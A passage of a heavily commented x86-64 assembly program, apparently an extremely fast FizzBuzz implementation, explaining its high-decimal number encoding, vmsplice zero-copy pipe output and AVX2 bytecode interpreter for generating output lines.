This is currently 2; it ranges from 2-digit // numbers to 18-digit numbers, and then the program ends. mov LINENO_WIDTHe, 2 // GROUPS_OF_15 is permanently set to the number of groups of 15 lines // that exist at this line number width; it's multiplied by 10 whenever // LINENO_WIDTH is incremented. // // A general note about style: often the program uses numbers that are // statically known to fit into 32 bits, even in a register that's // conceptually 64 bits wide (like this one). In such cases, the // 32-bit and 64-bit versions of a command will be equivalent (as the // 32-bit version zero-extends to 64-bits on a 64-bit processor); this // program generally uses the 32-bit version, both because it // sometimes encodes to fewer bytes (saving cache pressure), and // because some processors recognise zeroing idioms only if they're 32 // bits wide. mov GROUPS_OF_15e, 6 // Some constants used throughout the second phase, which permanently // stay in their registers. Note that short string literals can be // stored in normal integer registers - the processor doesn't care. mov FIZZ, 0x0a7a7a6946 // "Fizz\n" mov BUZZ, 0x0a7a7a7542 // "Buzz\n" .section .rodata .p2align 5, 0 second_phase_constants: .byte 0, 0, 0, 0, 0, 0, 0, 0 .byte 1, 0, 0, 0, 0, 0, 0, 0 .text vmovdqa %xmm3, [%rip + second_phase_constants] // This program makes extensive use of a number format that I call // "high-decimal". This is a version of decimal where the digit 0 is // encoded as the byte 246, the digit 1 as the byte 247, ..., the // digit 9 as the byte 255. The bytes are stored in the normal // endianness for the processor (i.e. least significant first), and // padded to a known length (typically 8 digits) with leading zeroes. // // The point of high-decimal is that it allows us to use arithmetic // operators intended for binary on high-decimal numbers, and the // carries will work the same way (i.e. the same digits will carry, // although carries will be 0-based rather than 246-based); all that's // required is to identify the digits that carried and add 246 to // them. That means that the processor's binary ALU can be used to do // additions directly in decimal - there's no need for loops or // anything like that, and no need to do binary/decimal conversions. // // The first use for high-decimal is to store the line number during // the second phase (it's stored differently in the third phase). // It's stored it in the top half of %xmm1 (although it's only 64 bits // wide, it needs to be in a vector register so that it can be // interpreted as 8 x 8 bits when necessary; general-purpose // registers can't do that). The bottom half of %xmm1 is unused, and // frequently overwritten with arbitrary data. .section .rodata line_number_init: #define REP8(x) x,x,x,x,x,x,x,x .byte REP8(0) .byte 246, 247, 246, 246, 246, 246, 246, 246 .text vmovdqa %xmm1, [%rip + line_number_init] // Writing line numbers is nontrivial because x86-64 is little-endian // but FizzBuzz output is big-endian; also, leading zeroes aren't // allowed. ENDIAN_SHUFFLE is used to fix both these problems; when // used to control the vector shuffler, it reverses the order of a // vector register, and rotates the elements to put the first digit // (based on LINENO_WIDTH) into the first byte. (This method is used // by both the second and third phases; the second phase uses only the // bottom half, with the top half used by the third phase, but they // are both initialized together.) .section .rodata endian_shuffle_init: .byte 9, 8, 7, 6, 5, 4, 3, 2 .byte 1, 0, 255, 254, 253, 252, 251, 250 .byte 3, 2, 1, 0, 255, 254, 253, 252 .byte 251, 250, 249, 248, 247, 246, 245, 244 .text second_phase_per_width_init: // The second phase writing routines are macros. // // Fizz and Buzz are trivial. (This writes a little beyond the end of // the string, but that's OK; the next line will overwrite them.) #define WRITE_FIZZ mov [OUTPUT_PTR], FIZZ; add OUTPUT_PTR, 5 #define WRITE_BUZZ mov [OUTPUT_PTR], BUZZ; add OUTPUT_PTR, 5 // For FizzBuzz, output 32 bits of FIZZ to write "Fizz" with no // newline, then write a "Buzz" after that. #define WRITE_FIZZBUZZ \ mov [OUTPUT_PTR], FIZZe; mov [OUTPUT_PTR + 4], BUZZ; \ add OUTPUT_PTR, 9 // To write a line number, add 58 to each byte of the line number // %xmm1, fix the endianness and width with a shuffle, and write a // final newline. .section .rodata ascii_offset: .byte REP8(58), REP8(58), REP8(58), REP8(58) .text #define WRITE_LINENO \ vpaddb %xmm0, ASCII_OFFSETx, %xmm1; \ vpshufb %xmm0, %xmm0, ENDIAN_SHUFFLEx; \ vmovdqu [OUTPUT_PTR], %xmm0; \ lea OUTPUT_PTR, [OUTPUT_PTR + LINENO_WIDTH + 1]; \ mov byte ptr [OUTPUT_PTR - 1], 10 // 10 = newline // Incrementing the line number is fairly easy: add 1 (in the usual // binary notation, taken from %xmm3) to the high-decimal number, then // convert any bytes that produced a carry to high-decimal 0s by // max-ing with 246. // // Normally I'd use a separate constant for this, but there randomly // happens to be an %xmm register with 246s in its top half already // (it's intended for an entirely different purpose, but it'll do for // this one too). #define INC_LINENO \ vpaddq %xmm1, %xmm3, %xmm1; vpmaxub %xmm1, LINENO_TOPx, %xmm1 // Avoid modulus tests by unrolling the FizzBuzz by 15. (Bear in mind // that this starts at 10, not 0, so the pattern will have a different // phase than usual.) mov %ecx, GROUPS_OF_15e fifteen_second_phase_fizzbuzz_lines: WRITE_BUZZ; INC_LINENO WRITE_LINENO; INC_LINENO WRITE_FIZZ; INC_LINENO WRITE_LINENO; INC_LINENO WRITE_LINENO; INC_LINENO WRITE_FIZZBUZZ; INC_LINENO WRITE_LINENO; INC_LINENO WRITE_LINENO; INC_LINENO WRITE_FIZZ; INC_LINENO WRITE_LINENO; INC_LINENO WRITE_BUZZ; INC_LINENO WRITE_FIZZ; INC_LINENO WRITE_LINENO; INC_LINENO WRITE_LINENO; INC_LINENO WRITE_FIZZ; INC_LINENO dec %ecx jnz fifteen_second_phase_fizzbuzz_lines second_phase_increment_width: lea GROUPS_OF_15e, [GROUPS_OF_15 + GROUPS_OF_15 * 4] add GROUPS_OF_15e, GROUPS_OF_15e inc LINENO_WIDTHe // Increment every element of the low half of ENDIAN_SHUFFLE to // adjust it for the new width, while leaving the top half unchanged. vpcmpeqb %xmm0, %xmm0, %xmm0 vpsubb ENDIAN_SHUFFLE, ENDIAN_SHUFFLE, %ymm0 // The second phase handles line numbers with 2 to 5 digits. cmp LINENO_WIDTHe, 6 jne second_phase_per_width_init ///// The output routine // // Most FizzBuzz routines produce output with `write` or a similar // system call, but these have the disadvantage that they need to copy // the data being output from userspace into kernelspace. It turns out // that when running full speed (as seen in the third phase), FizzBuzz // actually runs faster than `memcpy` does, so `write` and friends are // unusable when aiming for performance - this program runs five times // faster than an equivalent that uses `write`-like system calls. // // To produce output without losing speed, the program therefore needs // to avoid copies, or at least do them in parallel with calculating // the next block of output. This can be accomplished with the // `vmsplice` system call, which tells the kernel to place a reference // to a buffer into a pipe (as opposed to copying the data into the // pipe); the program at the other end of this pipe will then be able // to read the output directly out of this program's memory, with no // need to copy the data into kernelspace and then back into // userspace. In fact, it will be reading out of this program's // processor's L2 cache, without main memory being touched at all; // this is the secret to high-performance programming, because the // cache is much faster than main memory is. // // Of course, it's therefore important to avoid changing the output // buffer until the program connected to standard output has actually // read it all. This is why the pipe size needed to be set earlier; as // long as the amount of output is always at least as large as the // pipe size, successfully outputting one buffer will ensure that none // of the other buffer is left in the pipe, and thus it's safe to // overwrite the memory that was previously output. There is some need // to jump through hoops later on to make sure that `swap_buffers` is // never called with less than one pipeful of data, but it's worth it // to get the huge performance boost. mov %rdx, OUTPUT_PTR and %edx, (2 << 20) - 1 call swap_buffers jmp third_phase_init // Takes the amount of data to output in %rdx, and outputs from the // buffer containing OUTPUT_PTR. swap_buffers: and OUTPUT_PTR, -(2 << 20) // rewind to the start of the buffer mov [%rip + iovec_base], OUTPUT_PTR mov [%rip + iovec_base + 8], %rdx mov ARG1e, 1 lea ARG2, [%rip + iovec_base] mov ARG3e, 1 xor ARG4e, ARG4e // As with most output commands, vmsplice can do a short write // sometimes, so it needs to be called in a loop in order to ensure // that all the output is actually sent. 1: mov SYSCALL_NUMBER, __NR_vmsplice syscall call exit_on_error add [ARG2], SYSCALL_RETURN sub [ARG2 + 8], SYSCALL_RETURN jnz 1b xor OUTPUT_PTR, (2 << 20) // swap to the other buffer ret ///// Third phase of output // // This is the heart of this program. It aims to be able to produce a // sustained output rate of 64 bytes of FizzBuzz per four clock cycles // in its main loop (with frequent breaks to do I/O, and rare breaks // to do more expensive calculations). // // The third phase operates primarily using a bytecode interpreter; it // generates a program in "FizzBuzz bytecode", for which each byte of // bytecode generates one byte of output. The bytecode language is // designed so that it can be interpreted using SIMD instructions; 32 // bytes of bytecode can be loaded from memory, interpreted, and have // its output stored back into memory using just four machine // instructions. This makes it possible to speed up the FizzBuzz // calculations by hardcoding some of the calculations into the // bytecode (this is similar to how JIT compilers can create a version // of the program with some variables hardcoded, and throw it away on // the rare occasions that those variables' values change). third_phase_init: // Reinitialize ENDIAN_SHUFFLE by copying the initializer stored in // its high half to both halves. This works in the same way as in the // second phase. vpermq ENDIAN_SHUFFLE, ENDIAN_SHUFFLE, 0xEE // Up to this point, PIPE_SIZE has held the size of the pipe. In order // to save on registers, the pipe size is from now on encoded via the // location in which the bytecode program is stored; the bytecode is // started at iovec_base + PIPE_SIZE (which will be somewhere within // bytecode_storage), so the same register can be used to find the // bytecode and to remember the pipe size. lea %rax, [%rip + iovec_base] add BYTECODE_START, %rax // BYTECODE_START is a synonym for PIPE_SIZE // The bytecode program always holds instructions to produce exactly // 600 lines of FizzBuzz. At width 6, those come to 3800 bytes long. lea BYTECODE_END, [BYTECODE_START + 3800] mov REGEN_TRIGGER, -1 // irrelevant until much later, explained there third_phase_per_width_init: // Calculate the amount of output at this LINENO_WIDTH. The result // will always be divisible by 32, and thus is stored as the number of // 32-byte units at this width; storing it in bytes would be more // convenient, but sadly would overflow a 64-bit integer towards the // end of the program. lea %ecx, [LINENO_WIDTH * 8 + 47] // bytes per 15 lines mov YMMS_AT_WIDTH, GROUPS_OF_15 shr YMMS_AT_WIDTH, 5 // to avoid overflow, divide by 32 first imul YMMS_AT_WIDTH, %rcx // This program aims to output 64 bytes of output per four clock // cycles, which it achieves via a continuous stream of 32-byte writes // calculated by the bytecode program. One major complication here is // that the 32-byte writes won't correspond to lines of FizzBuzz; a // single processor instruction may end up outputting multiple // different line numbers. So it's no longer possible to have a simple // line number register, like it was in the second phase. // // Instead, the program stores an *approximation* of the line number, // which is never allowed to differ by 100 or more from the "actual" // line number; the bytecode program is responsible for fixing up the // approximation to work out the correct line number to output (this // allows the same CPU instruction to output digits from multiple // different line numbers, because the bytecode is being interpreted // in a SIMD way and thus different parts of the bytecode can fix the // line number up differently within a single instruction. // // The line number is split over three processor registers: // - LINENO_LOW: stores the line number modulo 200 // - LINENO_MID: stores the hundreds to billions digits // - LINENO_TOP: stores the ten-billions and more significant digits // (The parity of the 100s digit is duplicated between LINENO_MID and // LINENO_LOW; this allows a faster algorithm for LINENO_MID updates.) // // Because there's only a need to be within 100 of the real line // number, the algorithm for updating the line numbers doesn't need to // run all that often (saving processor cycles); it runs once every // 512 bytes of output, by simply adding a precalculated value // (LINENO_LOW_INCR) to LINENO_LOW, then processing the carry to // LINENO_MID (see later for LINENO_TOP). The amount by which the line // number increases per 512 bytes of output is not normally going to // be an integer; LINENO_LOW is therefore stored as a 64-bit fixpoint // number (in which 2**64 represents "200", e.g. 2**63 would be the // representation of "the line number is 100 mod 200"), in order to // delay the accumulation of rounding errors as long as possible. It's // being stored in a vector register, so there are four copies of its // value; two of them have 50 (i.e 2**62) added, and two of them have // 50 subtracted, in order to allow for more efficient code to handle // the carry to LINENO_MID. Additionally, LINENO_LOW is interpreted as // a signed number (an older version of this program was better at // checking for signed than unsigned overflow and I had no reason to // change). // // LINENO_LOW and LINENO_MID are reset every LINENO_WIDTH increase // (this is because the program can calculate "past" the width // increase due to not being able to break out of every instruction of // the main loop, which may cause unwanted carries into LINENO_MID and // force a reset). .section .rodata lineno_low_init: .byte 0, 0, 0, 0, 0, 0, 0, 192 .byte 0, 0, 0, 0, 0, 0, 0, 64 .byte 0, 0, 0, 0, 0, 0, 0, 192 .byte 0, 0, 0, 0, 0, 0, 0, 64 .text vmovdqa LINENO_LOW, LINENO_LOW_INIT // %ecx is the number of bytes in 15 lines. That means that the number // of 200-line units in 512 bytes is 38.4/%ecx, i.e. 384/(%ecx*10). // Multiply by 2**64 (i.e. 384*2**64/(%ecx*10) to get LINENO_LOW_INCR. lea %ecx, [%rcx + %rcx * 4] add %ecx, %ecx mov %edx, 384 xor %eax, %eax div %rcx // 128-bit divide, %rax = %rdx%rax / %rcx vpxor LINENO_LOW_INCR, LINENO_LOW_INCR, LINENO_LOW_INCR vpinsrq LINENO_LOW_INCRx, LINENO_LOW_INCRx, %rax, 0 vpermq LINENO_LOW_INCR, LINENO_LOW_INCR, 0 // LINENO_MID is almost stored in high-decimal, as four eight-digit // numbers. However, the number represented is the closest line number // that's 50 mod 100, stored as the two closest multiples of 100 (e.g. // if the true line number is 235, it's approximated as 250 and then // stored using the representations for 200 and 300), which is why // LINENO_LOW needs the offsets of 50 and -50 to easily do a carry. A // ymm vector holds four 64-bit numbers, two of which hold the value // that's 0 mod 200, two which hold the value that's 100 mod 200. So // carries on it are handled using a vector of mostly 246s, with 247s // in the two locations which are always odd. .section .rodata lineno_mid_base: .byte 246, 246, 246, 246, 246, 246, 246, 246 .byte 247, 246, 246, 246, 246, 246, 246, 246 .byte 246, 246, 246, 246, 246, 246, 246, 246 .byte 247, 246, 246, 246, 246, 246, 246, 246 .text // This code is some fairly complex vector manipulation to initialise // LINENO_MID to a power of 10 (handling the case where LINENO_WIDTH // is so high that the hundreds to billions digits are all zeroes). mov %edx, 1 mov %eax, 11 sub %eax, LINENO_WIDTHe cmovbe %eax, %edx shl %eax, 3 vpxor %xmm0, %xmm0, %xmm0 vpinsrq %xmm0, %xmm0, %rax, 0 vpermq %ymm0, %ymm0, 0 vpcmpeqb LINENO_MID, LINENO_MID, LINENO_MID vpsrlq LINENO_MID, LINENO_MID, %xmm0 vpmaxub LINENO_MID, LINENO_MID_BASE, LINENO_MID vpermq %ymm0, LINENO_MID_BASE, 0x55 vpsubb %ymm0, %ymm0, LINENO_MID_BASE vpaddq LINENO_MID, LINENO_MID, %ymm0 vpmaxub LINENO_MID, LINENO_MID_BASE, LINENO_MID // LINENO_TOP doesn't need to be initialized for new widths, because // an overrun by 100 lines is possible, but by 10 billion lines isn't. // The format consists of two 64-bit sections that hold high-decimal // numbers (these are always the same as each other), and two that // hold constants that are used by the bytecode generator. .section .rodata lineno_top_init: .byte 198, 197, 196, 195, 194, 193, 192, 191 .byte 246, 246, 246, 246, 246, 246, 246, 246 .byte 190, 189, 188, 187, 186, 185, 184, 183 .byte 246, 246, 246, 246, 246, 246, 246, 246 .text // When moving onto a new width, start at the start of the bytecode // program. mov BYTECODE_IP, BYTECODE_START // Generating the bytecode program // // The bytecode format is very simple (in order to allow it to be // interpreted in just a couple of machine instructions): // - A negative byte represents a literal character (e.g. to produce // a literal 'F', you use the bytecode -'F', i.e. -70 = 0xba) // - A byte 0..7 represents the hundreds..billions digit of the line // number respectively, and asserts that the hundreds digit of the // line number is even // - A byte 8..15 represents the hundreds..billions digit of the line // number respectively, and asserts that the hundreds digit of the // line number is odd // // In other words, the bytecode program only ever needs to read from // LINENO_MID; the information stored in LINENO_LOW and LINENO_TOP // therefore has to be hardcoded into it. The program therefore needs // to be able to generate 600 lines of output (as the smallest number // that's divisible by 100 to be able to hardcode the two low digits, // 200 to be able to get the assertions about the hundreds digits // correct, and 3 and 5 to get the Fizzes and Buzzes in the right // place). generate_bytecode: mov BYTECODE_GEN_PTR, BYTECODE_START // FIZZ and BUZZ work just like in the second phase, except that they // are now bytecode programs rather than ASCII. mov FIZZ, 0xf6868697ba // -"Fizz\n" mov BUZZ, 0xf686868bbe // -"Buzz\n" // %ymm2 holds the bytecode for outputting the hundreds and more // significant digits of a line number. The most significant digits of // this can be obtained by converting LINENO_TOP from high-decimal to // the corresponding bytecode, which is accomplished by subtracting // from 198 (i.e. 256 - 10 - '0'). The constant parts of LINENO_TOP // are 198 minus the bytecode for outputting the hundreds to billions // digit of a number; this makes it possible for a single endian // shuffle to deal with all 16 of the mid and high digits at once. .section .rodata bascii_offset: .byte REP8(198), REP8(198), REP8(198), REP8(198) .text vpsubb %ymm2, BASCII_OFFSET, LINENO_TOP vpshufb %ymm2, %ymm2, ENDIAN_SHUFFLE #define GEN_FIZZ mov [BYTECODE_GEN_PTR], FIZZ; add BYTECODE_GEN_PTR, 5 #define GEN_BUZZ mov [BYTECODE_GEN_PTR], BUZZ; add BYTECODE_GEN_PTR, 5 #define GEN_FIZZBUZZ \ mov [BYTECODE_GEN_PTR], FIZZe; \ mov [BYTECODE_GEN_PTR + 4], BUZZ; add BYTECODE_GEN_PTR, 9 #define GEN_LINENO(units_digit) \ vmovdqu [BYTECODE_GEN_PTR], %xmm2; \ lea BYTECODE_GEN_PTR, [BYTECODE_GEN_PTR + LINENO_WIDTH + 1]; \ mov [BYTECODE_GEN_PTR - 3], %al; \ mov word ptr [BYTECODE_GEN_PTR - 2], 0xf6d0 - units_digit // The bytecode generation loop is unrolled to depth 30, allowing the // units digits to be hardcoded. The tens digit is stored in %al, and // incremented every ten lines of output. The parity of the hundreds // digit is stored in %ymm2: one half predicts the hundreds digit to // be even, the other to be odd, and the halves are swapped every time // the tens digit carries (ensuring the predictions are correct). mov %eax, 0xd0 jmp 2f inc_tens_digit: cmp %al, 0xc7 je 1f // jumps every 10th execution, therefore predicts perfectly dec %eax ret 1: mov %eax, 0xd0 vpermq %ymm2, %ymm2, 0x4e ret 2: mov %ecx, 20 thirty_bytecode_lines: GEN_BUZZ GEN_LINENO(1) GEN_FIZZ GEN_LINENO(3) GEN_LINENO(4) GEN_FIZZBUZZ GEN_LINENO(6) GEN_LINENO(7) GEN_FIZZ GEN_LINENO(9) call inc_tens_digit GEN_BUZZ GEN_FIZZ GEN_LINENO(2) GEN_LINENO(3) GEN_FIZZ GEN_BUZZ GEN_LINENO(6) GEN_FIZZ GEN_LINENO(8) GEN_LINENO(9) call inc_tens_digit GEN_FIZZBUZZ GEN_LINENO(1) GEN_LINENO(2) GEN_FIZZ GEN_LINENO(4) GEN_BUZZ GEN_FIZZ GEN_LINENO(7) GEN_LINENO(8) GEN_FIZZ call inc_tens_digit dec %ecx jnz thirty_bytecode_lines generate_bytecode_overrun_area: // Duplicate the first 512 bytes of the bytecode program at the end, // so that there's no need to check to see whether BYTECODE_IP needs // to be looped back to the start of the program any more than once // per 512 bytes mov %rax, BYTECODE_START #define COPY_64_BYTECODE_BYTES(offset) \ vmovdqa %ymm0, [%rax + offset]; \ vmovdqa %ymm3, [%rax + (offset + 32)]; \ vmovdqu [BYTECODE_GEN_PTR + offset], %ymm0; \ vmovdqu [BYTECODE_GEN_PTR + (offset + 32)], %ymm3 COPY_64_BYTECODE_BYTES(0) COPY_64_BYTECODE_BYTES(64) COPY_64_BYTECODE_BYTES(128) COPY_64_BYTECODE_BYTES(192) COPY_64_BYTECODE_BYTES(256) COPY_64_BYTECODE_BYTES(320) COPY_64_BYTECODE_BYTES(384) COPY_64_BYTECODE_BYTES(448) // Preparing for the main loop // // Work out how long the main loop is going to iterate for. // OUTPUT_LIMIT holds the address just beyond the end of the output // that the main loop should produce. The aim here is to produce // exactly one pipeful of data if possible, but to stop earlier if // there's a change in digit width (because any output beyond that // point will be useless: the bytecode will give it the wrong number // of digits). calculate_main_loop_iterations: // Extract the pipe size from BYTECODE_START, in 32-byte units. // During this calculation, OUTPUT_LIMIT holds the amount of output // produced, rather than an address like normal. mov OUTPUT_LIMIT, BYTECODE_START lea %rdx, [%rip + iovec_base] sub OUTPUT_LIMIT, %rdx shr OUTPUT_LIMIT, 5 // Reduce the output limit to the end of this width, if it would be // higher than that. cmp OUTPUT_LIMIT, YMMS_AT_WIDTH cmovae OUTPUT_LIMIT, YMMS_AT_WIDTH // If there's already some output in the buffer, reduce the amount // of additional output produced accordingly (whilst ensuring that // a multiple of 512 bytes of output is produced). // // This would be buggy if the YMMS_AT_WIDTH limit were hit at the // same time, but that never occurs as it would require two width // changes within one pipeful of each other, and 9000000 lines of // FizzBuzz is much more than a pipeful in size. mov %rax, OUTPUT_PTR and %eax, ((2 << 20) - 1) & -512 shr %eax, 5 sub OUTPUT_LIMIT, %rax // The amount of output to produce is available now, and won't be // later, so subtract it from the amount of output that needs to // be produced now. sub YMMS_AT_WIDTH, OUTPUT_LIMIT // Return OUTPUT_LIMIT back to being a pointer, not an amount. shl OUTPUT_LIMIT, 5 add OUTPUT_LIMIT, OUTPUT_PTR prepare_main_loop_invariants: // To save one instruction in the bytecode interpreter (which is very // valuable, as it runs every second CPU cycle), LINENO_MID_TEMP is // used to store a reformatted version of LINENO_MID, in which each // byte is translated from high-decimal to ASCII, and the bytecode // command that would access that byte is added to the result (e.g. // the thousands digit for the hundreds-digits-odd version has 10 // added to convert from high-decimal to a pure number, '0' added to // convert to ASCII, then 9 added because that's the bytecode command // to access the thousands digit when the hundreds digit is odd, so // the amount added is 10 + '0' + 9 = 57). // // LINENO_MID_TEMP is updated within the main loop, immediately after // updating LINENO_MID, but because the bytecode interpreter reads // from it it needs a valid value at the start of the loop. .section .rodata biascii_offset: .byte 58, 59, 60, 61, 62, 63, 64, 65 .byte 66, 67, 68, 69, 70, 71, 72, 73 .byte 58, 59, 60, 61, 62, 63, 64, 65 .byte 66, 67, 68, 69, 70, 71, 72, 73 .text vpaddb LINENO_MID_TEMP, BIASCII_OFFSET, LINENO_MID // To save an instruction, precalculate minus the length of the // bytecode. (Although the value of this is determined entirely by // LINENO_WIDTH, the register it's stored in gets clobbered by // system calls and thus needs to be recalculated each time.) mov BYTECODE_NEG_LEN, BYTECODE_START sub BYTECODE_NEG_LEN, BYTECODE_END // The main loop // The bytecode interpreter consists of four instructions: // 1. Load the bytecode from memory into %ymm2; // 2. Use it as a shuffle mask to shuffle LINENO_MID_TEMP; // 3. Subtract the bytecode from the shuffle result; // 4. Output the result of the subtraction. // // To see why this works, consider two cases. If the bytecode wants to // output a literal character, then the shuffle will produce 0 for // that byte (in AVX2, a shuffle with a a negative index produces an // output of 0), and subtracting the bytecode from 0 then produces the // character (because the bytecode encoded minus the character). If // the bytecode instead wants to output a digit, then the shuffle will // fetch the relevant digit from LINENO_MID_TEMP (which is the desired // ASCII character plus the bytecode instruction that produces it), // and subtract the bytecode instruction to just produce the character // on its own. // // This produces an exactly correct line number as long as the line // number approximation is within 100 of the true value: it will be // correct as long as the relevant part of LINENO_MID is correct, and // the worst case is for LINENO_MID to be storing, say, 200 and 300 // (the representation of 250) when the true line number is 400. The // value in LINENO_MID specifically can be up to 50 away from the // value of the line number as recorded by LINENO_MID and LINENO_LOW // together, so as long as the line number registers are within 100, // LINENO_MID will be within 150 (which is what is required). // // This doesn't update the bytecode instruction pointer or the pointer // into the output buffer; those are updated once every 512 bytes (and // to "advance the instruction pointer" the rest of the time, the main // loop is unrolled, using hardcoded offsets with the pointer updates // baked in). // // The bytecode instruction pointer itself is read from %rdx, not // BYTECODE_IP, so that mid-loop arithmetic on BYTECODE_IP won't cause // the interpreter to break. // // It's important to note one potential performance issue with this // code: the read of the bytecode from memory is not only misalignable // (`vmovdqu`); it splits a cache line 3/8 of the time. This causes L1 // split-load penalties on the 3/8 cycles where it occurs. I am not // sure whether this actually reduces the program's performance in // practice, or whether the split loads can be absorbed while waiting // for writes to go through to the L2 cache. However, even if it does // have a genuine performance cost, it seems like the least costly way // to read the bytecode; structuring the bytecode to avoid split loads // makes it take up substantially more memory, and the less cache that // is used for the bytecode, the more that can be used for the output // buffers. (In particular, increasing the bytecode to 2400 lines so // that it's available at all four of the alignments required of it // does not gain, because it then becomes so large that the processor // struggles to keep it in L1 cache - it only just fits, and there // isn't any way for it to know which parts of the cache are meant to // stay in L1 and which are meant to leave to L2, so there's a large // slowdown when it guesses wrong.) #define INTERPRET_BYTECODE(bc_offset, buf_offset) \ vmovdqu %ymm2, [%rdx + bc_offset]; \ vpshufb %ymm0, LINENO_MID_TEMP, %ymm2; \ vpsubb %ymm0, %ymm0, %ymm2; \ vmovdqa [OUTPUT_PTR + buf_offset], %ymm0 // The main loop itself consists of sixteen uses of the bytecode // interpreter, interleaved (to give the reorder buffer maximum // flexibility) with all the other logic needed in the main loop. // (Most modern processors can handle 4-6 instructions per clock cycle // as long as they don't step on each others' toes; thus this loop's // performance will be limited by the throughput of the L2 cache, with // all the other work (bytecode interpretation, instruction decoding, // miscellaneous other instructions, etc.) fitting into the gaps while // the processor is waiting for the L2 cache to do its work.) .p2align 5 main_loop: // %rdx caches BYTECODE_IP's value at the start of the loop mov %rdx, BYTECODE_IP INTERPRET_BYTECODE(0, 0) // %ymm1 caches LINENO_LOW's value at the start of the loop vmovdqa %ymm1, LINENO_LOW INTERPRET_BYTECODE(32, 32) // Add LINENO_LOW_INCR to LINENO_LOW, checking for carry; it carried // if the sign bit changed from 0 to 1. (vpandn is unintuitive; this // is ~%ymm1 & LINENO_LOW, not %ymm1 & ~LINENO_LOW like the name // suggests.) vpaddq LINENO_LOW, LINENO_LOW_INCR, LINENO_LOW INTERPRET_BYTECODE(64, 64) vpandn %ymm3, %ymm1, LINENO_LOW INTERPRET_BYTECODE(96, 96) vpsrlq %ymm3, %ymm3, 63 INTERPRET_BYTECODE(128, 128) // Add the carry to LINENO_MID (doubling it; LINENO_MID counts in // units of 100 but a LINENO_LOW carry means 200). vpaddb %ymm3, %ymm3, %ymm3 INTERPRET_BYTECODE(160, 160) vpaddq LINENO_MID, LINENO_MID, %ymm3 INTERPRET_BYTECODE(192, 192) vpmaxub LINENO_MID, LINENO_MID_BASE, LINENO_MID INTERPRET_BYTECODE(224, 224) // Update LINENO_MID_TEMP with the new value from LINENO_MID; this is // the point at which the new value takes effect. This is done at the // exact midpoint of the loop, in order to reduce the errors from // updating once every 512 bytes as far as possible. vpaddb LINENO_MID_TEMP, BIASCII_OFFSET, LINENO_MID INTERPRET_BYTECODE(256, 256) // Update the output and bytecode instruction pointers. The change to // the output pointer kicks in immediately, but is cancelled out via // the use of a negative offset until the end of the loop. add OUTPUT_PTR, 512 INTERPRET_BYTECODE(288, -224) add BYTECODE_IP, 512 INTERPRET_BYTECODE(320, -192) // The change to the bytecode instruction pointer doesn't kick in // immediately, because it might need to wrap back to the start (this // can be done by adding BYTECODE_NEG_LEN to it); this is why the // interpreter has a cached copy of it in %rdx. lea %rax, [BYTECODE_IP + BYTECODE_NEG_LEN] INTERPRET_BYTECODE(352, -160) INTERPRET_BYTECODE(384, -128) // Some modern processors can optimise `cmp` better if it appears // immediately before the command that uses the comparison result, so // a couple of commands have been moved slightly to put the `cmp` next // to the use of its result. With modern out-of-order processors, // there is only a marginal advantage to manually interleaving the // instructions being used, and the `cmp` advantage outweighs that. cmp BYTECODE_IP, BYTECODE_END cmovae BYTECODE_IP, %rax INTERPRET_BYTECODE(416, -96) INTERPRET_BYTECODE(448, -64) INTERPRET_BYTECODE(480, -32) cmp OUTPUT_PTR, OUTPUT_LIMIT jb main_loop after_main_loop: // There are two reasons the main loop might terminate: either there's // a pipeful of output, or the line number has increased in width // (forcing the generaion of new bytecode to put more digits in the // numbers being printed). In the latter case, a) the output may have // overrun slightly, and OUTPUT_PTR needs to be moved back to // OUTPUT_LIMIT: mov OUTPUT_PTR, OUTPUT_LIMIT // and b) there may be less than a pipeful of output, in which case it // wouldn't be safe to output it and the swap_buffers call needs to be // skipped. Calculate the pipe size into %rax, the amount of output // into %rdx (swap_buffers needs it there anyway), and compare. lea %rax, [%rip + iovec_base] sub %rax, BYTECODE_START neg %eax mov %rdx, OUTPUT_PTR and %edx, (2 << 20) - 1 cmp %edx, %eax jb 1f call swap_buffers // If all the lines at this width have been exhausted, move to the // next width. 1: test YMMS_AT_WIDTH, YMMS_AT_WIDTH jnz check_lineno_top_carry cmp LINENO_WIDTHe, 18 // third phase handles at most 18 digits je fourth_phase inc LINENO_WIDTHe vpcmpeqb %ymm0, %ymm0, %ymm0 vpsubb ENDIAN_SHUFFLE, ENDIAN_SHUFFLE, %ymm0 lea GROUPS_OF_15, [GROUPS_OF_15 + GROUPS_OF_15 * 4] add GROUPS_OF_15, GROUPS_OF_15 add BYTECODE_END, 320 jmp third_phase_per_width_init // So far, the code has kept LINENO_MID and LINENO_LOW updated, but // not LINENO_TOP. Because 10 billion lines of FizzBuzz don't normally // have a length that's divisible by 512 (and indeed, vary in size a // little because 10 billion isn't divisible by 15), it's possible for // the 10-billions and higher digits to need to change in the middle // of a main loop iteration - indeed, even in the middle of a single // CPU instruction! // // It turns out that when discussing the line number registers above, // I lied a little about the format. The bottom seven bytes of // LINENO_MID do indeed represent the hundreds to hundred millions // digits. However, the eighth changes in meaning over the course of // the program. It does indeed represent the billions digit most of // the time; but when the line number is getting close to a multiple // of 10 billion, the billions and hundred-millions digits will always // be the same as each other (either both 9s or both 0s). When this // happens, the format changes: the hundred-millions digit of // LINENO_MID represents *both* the hundred-millions and billions // digits of the line number, and the top byte then represents the // ten-billions digit. Because incrementing a number causes a row of // consecutive 9s to either stay untouched, or all roll over to 0s at // once, this effectively lets us do maths on more than 8 digits, // meaning that the normal arithmetic code within the main loop can // handle the ten-billions digit in addition to the digits below. // // Of course, the number printing code also needs to handle the new // representation, but the number printing is done by a bytecode // program, which can be made to output some of the digits being // printed multiple times by repeating "print digit from LINENO_MID" // commands within it. Those commands are generated from COUNTER_TOP // anyway, so the program just changes the constant portion of // COUNTER_TOP (and moves print-digit commands into the top half) in // order to produce the appropriate bytecode changes. // // A similar method is used to handle carries in the hundred-billions, // trillions, etc. digits. // // Incidentally, did you notice the apparent off-by-one in the // initialisation of LINENO_MID within third_phase_per_width_init? It // causes the "billions" digit to be initialised to 1 (not 0) when the // line number width is 11 or higher. That's because the alternate // representation will be in use during a line number width change (as // higher powers of 10 are close to multiples of 10 billion), so the // digit that's represented by that byte of LINENO_MID genuinely is a // 1 rather than a 0. check_lineno_top_carry: // The condition to change line number format is: // a) The line number is in normal format, and the hundred-millions // and billions digits are both 9; or // b) The line number is in alternate format, and the hundred-millions // digit is 0. // To avoid branchy code in the common case (when no format change is // needed), REGEN_TRIGGER is used to store the specific values of the // hundred-millions and billions digits that mean a change is needed, // formatted as two repeats of billions, hundred-millions, 9, 9 in // high-decimal (thus, when using normal format, 